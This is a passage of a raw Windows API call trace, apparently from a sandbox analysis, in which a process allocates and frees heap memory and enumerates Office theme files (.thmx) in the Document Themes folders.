RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008e08 [0068.517] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102a2a0 [0068.517] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="")) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008e28 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x102a3a8 [0068.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="")) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.518] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5698) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.518] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x1008e48 [0068.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="")) returned 1 [0068.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="")) returned 1 [0068.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="")) returned 1 [0068.518] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="")) returned 1 [0068.519] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 0 [0068.520] GetLastError () returned 0x12 [0068.520] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0068.520] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="")) returned 1 [0068.520] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, 